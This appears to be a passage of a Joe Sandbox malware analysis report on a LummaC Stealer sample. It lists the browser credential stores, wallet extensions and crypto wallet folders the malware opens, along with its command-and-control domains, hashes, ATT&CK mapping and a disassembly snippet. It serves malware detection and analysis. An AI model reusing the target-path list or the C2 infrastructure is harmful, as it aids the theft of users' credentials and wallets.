Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Directory queried: number of queries: 1001

Source: Yara match

File source: Process Memory Space: BitLockerToGo.exe PID: 7620, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7620, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	1 Masquerading	1 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	31 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Deobfuscate/Decode Files or Information	NTDS	2 File and Directory Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
tatuJHXSR4.exe	8%	ReversingLabs

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://communicationgenerwo.shop/apix	0%	Avira URL Cloud	safe
https://protobuf.dev/reference/go/faq#namespace-conflictcorruption	0%	Avira URL Cloud	safe
http://html4/loose.dtd	0%	Avira URL Cloud	safe
http://ocsp.rootca1.amazontrust.com0:	0%	Avira URL Cloud	safe
communicationgenerwo.shop	0%	Avira URL Cloud	safe
https://communicationgenerwo.shop/apilJ	0%	Avira URL Cloud	safe
pillowbrocccolipe.shop	0%	Avira URL Cloud	safe
https://communicationgenerwo.shop/Xi	0%	Avira URL Cloud	safe
https://communicationgenerwo.shop/api	0%	Avira URL Cloud	safe
https://communicationgenerwo.shop/Ri	0%	Avira URL Cloud	safe
http://.css	0%	Avira URL Cloud	safe
https://communicationgenerwo.shop/y	0%	Avira URL Cloud	safe
https://communicationgenerwo.shop/api/	0%	Avira URL Cloud	safe
https://login.microsoftonline.us/application/x-www-for	0%	Avira URL Cloud	safe
https://communicationgenerwo.shop/	0%	Avira URL Cloud	safe
dismissalcylinderhostw.shop	0%	Avira URL Cloud	safe
enthusiasimtitleow.shop	0%	Avira URL Cloud	safe
https://communicationgenerwo.shop/api9J	0%	Avira URL Cloud	safe
https://communicationgenerwo.shop/apidZ	0%	Avira URL Cloud	safe
worryfillvolcawoi.shop	0%	Avira URL Cloud	safe
https://communicationgenerwo.shop/e	0%	Avira URL Cloud	safe
cleartotalfisherwo.shop	0%	Avira URL Cloud	safe
diskretainvigorousiw.shop	0%	Avira URL Cloud	safe
http://.jpg	0%	Avira URL Cloud	safe
affordcharmcropwo.shop	0%	Avira URL Cloud	safe
https://www.mozilla.or	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
communicationgenerwo.shop	172.67.166.251	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://communicationgenerwo.shop/api	false	Avira URL Cloud: safe	unknown
communicationgenerwo.shop	true	Avira URL Cloud: safe	unknown
pillowbrocccolipe.shop	true	Avira URL Cloud: safe	unknown
enthusiasimtitleow.shop	true	Avira URL Cloud: safe	unknown
worryfillvolcawoi.shop	true	Avira URL Cloud: safe	unknown
dismissalcylinderhostw.shop	true	Avira URL Cloud: safe	unknown
diskretainvigorousiw.shop	true	Avira URL Cloud: safe	unknown
cleartotalfisherwo.shop	true	Avira URL Cloud: safe	unknown
affordcharmcropwo.shop	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://communicationgenerwo.shop/apix	BitLockerToGo.exe, 00000006.00000003.2399536354.0000000000C7A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://html4/loose.dtd	tatuJHXSR4.exe	false	Avira URL Cloud: safe	low
https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000006.00000003.2391425927.0000000004F89000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000006.00000003.2391425927.0000000004F89000.00000004.00000800.00020000.00000000.sdmp	false		high
https://communicationgenerwo.shop/apilJ	BitLockerToGo.exe, 00000006.00000003.2382775639.0000000000CBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.chinacloudapi.cn/no_standard_descript	tatuJHXSR4.exe	false		high
https://communicationgenerwo.shop/Ri	BitLockerToGo.exe, 00000006.00000003.2390908646.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2391702013.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2382775639.0000000000CBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000006.00000003.2391425927.0000000004F89000.00000004.00000800.00020000.00000000.sdmp	false		high
https://protobuf.dev/reference/go/faq#namespace-conflictcorruption	tatuJHXSR4.exe	false	Avira URL Cloud: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	BitLockerToGo.exe, 00000006.00000003.2410160879.0000000004F64000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	BitLockerToGo.exe, 00000006.00000003.2410160879.0000000004F64000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://communicationgenerwo.shop/Xi	BitLockerToGo.exe, 00000006.00000003.2382775639.0000000000CBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://.css	tatuJHXSR4.exe	false	Avira URL Cloud: safe	low
https://communicationgenerwo.shop/y	BitLockerToGo.exe, 00000006.00000003.2445231733.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://communicationgenerwo.shop/api/	BitLockerToGo.exe, 00000006.00000003.2438068183.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2445231733.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2437752954.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BitLockerToGo.exe, 00000006.00000003.2411688057.000000000506E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.us/application/x-www-for	tatuJHXSR4.exe	false	Avira URL Cloud: safe	unknown
https://communicationgenerwo.shop/	BitLockerToGo.exe, 00000006.00000003.2409563726.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2399660238.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2438068183.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2390908646.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2421582316.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000002.2470262313.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2469516555.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2399536354.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2469492736.0000000000CF8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2445231733.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2437752954.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000002.2470058526.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2391702013.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2382775639.0000000000CBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	BitLockerToGo.exe, 00000006.00000003.2410160879.0000000004F64000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	BitLockerToGo.exe, 00000006.00000003.2410160879.0000000004F64000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://communicationgenerwo.shop/api9J	BitLockerToGo.exe, 00000006.00000003.2382775639.0000000000CBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/%s	tatuJHXSR4.exe	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	BitLockerToGo.exe, 00000006.00000003.2410160879.0000000004F64000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://communicationgenerwo.shop/apidZ	BitLockerToGo.exe, 00000006.00000002.2470262313.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2469516555.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2469492736.0000000000CF8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://communicationgenerwo.shop/e	BitLockerToGo.exe, 00000006.00000002.2470262313.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2469516555.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2469492736.0000000000CF8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	BitLockerToGo.exe, 00000006.00000003.2411688057.000000000506E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	tatuJHXSR4.exe	false	Avira URL Cloud: safe	low
https://www.mozilla.or	BitLockerToGo.exe, 00000006.00000003.2412615087.0000000004F61000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.166.251	communicationgenerwo.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1416003
Start date and time:	2024-03-26 18:22:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	tatuJHXSR4.exe renamed because original name is a hash value
Original Sample Name:	2a5f40e3ee04057e88c8b794ff258fd4.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@2/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 51% Number of executed functions: 47 Number of non-executed functions: 60
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, cdn.onenote.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target tatuJHXSR4.exe, PID 7304 because there are no executed function
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: tatuJHXSR4.exe

Simulations

Behavior and APIs

Time	Type	Description
18:23:26	API Interceptor	8x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://pixel.pdfixers.com	Get hash	malicious	Unknown	Browse	172.67.147.142
	amqD5LrBlB.exe	Get hash	malicious	Unknown	Browse	162.159.129.233
	https://url.us.m.mimecastprotect.com/s/kyINCpYnk3FnPVPtPeQKH?domain=gcv.microsoft.us	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://38374993729929473939lk-us.de/202444/fresh2024link/schwab.com-fresh-RD588-user-ph-em(detail)/index.html	Get hash	malicious	Unknown	Browse	104.16.123.96
	https://new.express.adobe.com/webpage/sAiKE1YBfM7xe	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://www.google.com/url?sa=t&source=web&rct=j&opi=89978449&url=https://liceogalois.co/w712969.shtml&ved=2ahUKEwiQ2rPsxpGFAxXETEEAHemID4gQFnoECBAQAQ&usg=AOvVaw0gc8NfeodrA8Seq_rkAzeZ	Get hash	malicious	Unknown	Browse	104.17.30.92
	res.js	Get hash	malicious	Unknown	Browse	162.159.133.233
	res.js	Get hash	malicious	Unknown	Browse	162.159.129.233
	MythicTInstaller.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://webuildpart.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.3.184

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	re-march-26-2024-6488.xlsx	Get hash	malicious	MAC Stealer	Browse	172.67.166.251
	nUswWbPPmT.ocx.dll	Get hash	malicious	Unknown	Browse	172.67.166.251
	nUswWbPPmT.ocx.dll	Get hash	malicious	Unknown	Browse	172.67.166.251
	Incident_Report_Harassment_by_Employee.doc	Get hash	malicious	Unknown	Browse	172.67.166.251
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	172.67.166.251
	Quotation.xls	Get hash	malicious	Unknown	Browse	172.67.166.251
	PI-BD2403001.exe	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.166.251
	Yeni sifaris siyahisi.exe	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.166.251
	INV02476279.xlam.xlsx	Get hash	malicious	Unknown	Browse	172.67.166.251
	march-25-2024-2967.xlsx	Get hash	malicious	Unknown	Browse	172.67.166.251

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.342138892650738
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	tatuJHXSR4.exe
File size:	10'470'400 bytes
MD5:	2a5f40e3ee04057e88c8b794ff258fd4
SHA1:	590e7f9870f13c8a2c060a6f2cb1bdf97901605c
SHA256:	30e8530fe027064f03f21e5dfc5d560338f8781c8133885b223ff3456ff16b65
SHA512:	0d201a3c90f5ec338e9af66b1c2b50093c04b8b14039e8cd5437b96b2e5e0c729eb2a8001fcfbad78e290850b813adfb3aeef39d04a240ba657ccb3f3b27671d
SSDEEP:	98304:fGfgjfw8feH/u3v8/hTkYpEKA4CJj4DZ2Ig:fGp5W3v8/h4YqWceZW
TLSH:	D0B64947FCA144E5C5EEC13089669216BB727C484B2127C73B60F7692F7ABD0AE7A350
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................$..C......T.............@....................................f.....`... ............................

File Icon


Icon Hash:	1430f482cac2c61d

Static PE Info

General

Entrypoint:	0x1400014c0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x40433660, 0x1, 0x40433630, 0x1, 0x404370d0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	c595f1660e1a3c84f4d9b0761d23cd7a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [009B6015h]
mov dword ptr [eax], 00000001h
call 00007F546CF2A9BFh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [009B5FF5h]
mov dword ptr [eax], 00000000h
call 00007F546CF2A99Fh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
call 00007F546D367C3Ch
dec eax
test eax, eax
sete al
movzx eax, al
neg eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007F546CF2ACD9h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword ptr [eax]
inc edi
outsd
